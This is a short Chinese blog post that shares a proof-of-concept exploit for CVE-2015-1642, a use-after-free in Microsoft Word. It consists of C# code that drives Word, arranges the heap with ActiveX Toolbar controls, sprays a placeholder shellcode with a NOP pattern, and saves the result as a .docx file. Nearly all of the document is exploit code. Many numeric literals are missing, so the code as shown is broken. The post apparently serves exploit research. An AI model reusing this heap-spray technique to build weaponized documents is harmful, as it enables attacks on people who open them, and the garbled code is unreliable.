CVE-2015-1642 POC

　　月初，玄武实验室的“每日安全动态”推送了一篇office UAF漏洞利用的文章，之前对office上UAF漏洞利用占位问题有些疑问，刚好就借助这篇文章重现了一下。其中堆喷射部分不是特别稳定，漏洞成因和利用的细节请参见原文链接。今天想起来，就把POC发这里吧。

　　原文链接：Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 CTaskSymbol UAF by @ d0mzw https://t.co/NPJUJUqNSH

 namespace WindowsFormsApplication1

 {

     public partial class Form1 : Form

     {

         public Form1()

         {

             InitializeComponent();

         }

         private void HeapSpray(Word.Document objDoc)

         {

             Word.InlineShape[] ocx = new Word.InlineShape[];

             MSComctlLib.Toolbar[,] toolbarArray = new MSComctlLib.Toolbar[, ];

             int block_size = 0x1000;

             string padding = "\u8080\u8080";

             while (padding.Length < 0x1000)

             {

                 padding += "\u2121\u2121";

             }

             padding = padding.Substring(, (0x9f2 - 0xc) / );

             // 0a0a0a0a points here

             string shellcode = "\uC0DE\uC0DE";

             string pattern = "\u9090\u9090";

             while (pattern.Length < block_size)

             {

                 pattern += pattern;

             }

             pattern = pattern.Substring(, 0x800 - padding.Length - shellcode.Length);

             string block = padding + shellcode + pattern;

             while (block.Length < 0xfffe0 / )

             {

                 block += block;

             }

             string chunk = block.Substring(, (0xfffe0 - 0x6) / );

             //MessageBox.Show("[+] objAlloc size: 0x" + (chunk.Length * 0x2 + 0x4 + 0x2).ToString("X"));

             for (int i = ; i < ; i++)

             {

                 ocx[i] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

                 for (int j = ; j < ; j++)

                 {

                     toolbarArray[i, j] = ((MSComctlLib.Toolbar)ocx[i].OLEFormat.Object);

                     toolbarArray[i, j].Buttons.Add().ToolTipText = chunk;

                 }

             }

         }

         private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)

         {

             string paddingB = "\u0c0c\u0c0c";

             while (paddingB.Length < 0x60 / )

             {

                 paddingB += paddingB;

             }

             string objAllocB = paddingB.Substring(, 0x5a / );

             MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[];

             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             for (int j = ; j < ; j++)

             {

                 tabArrayB[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;

                 tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;

             }

             MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[];

             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             for (int j = ; j < ; j++)

             {

                 tabArrayC[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;

                 tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;

             }

         }

         private void ReplaceHeap(Word.Document objDoc, Word.InlineShape[] ocx)

         {

             string paddingA = "\u0a06\u0a0a";

             while (paddingA.Length < 0x60 / )

             {

                 paddingA += paddingA;

             }

             string objAllocA = paddingA.Substring(, 0x5a / );

             MSComctlLib.Toolbar[] tabArrayA = new MSComctlLib.Toolbar[];

             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             for (int j = ; j < ; j++)

             {

                 tabArrayA[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;

                 tabArrayA[j].Buttons.Add().ToolTipText = objAllocA;

             }

         }

         private void button1_Click(object sender, EventArgs e)

         {

             Word.Application objWord = new Word.Application();

             objWord.Visible = true;

             object objMissing = System.Reflection.Missing.Value;

             Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing);

             // How to: Programmatically Insert Text into Word Documents;

             // https://msdn.microsoft.com/en-us/library/6b9478cs.aspx

             Word.InlineShape[] ocx = new Word.InlineShape[];

             ReplaceHeap(objDoc, ocx);

             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             DefragmenHeap(objDoc, ocx);

             HeapSpray(objDoc);

             // Null out the reference

             object filename = Application.StartupPath + @"\test.docx";

             objDoc.SaveAs2(ref filename);

             objDoc.Close(ref objMissing, ref objMissing, ref objMissing);

             objDoc = null;

             objWord.Quit(ref objMissing, ref objMissing, ref objMissing);

             objWord = null;

         }

     }

 }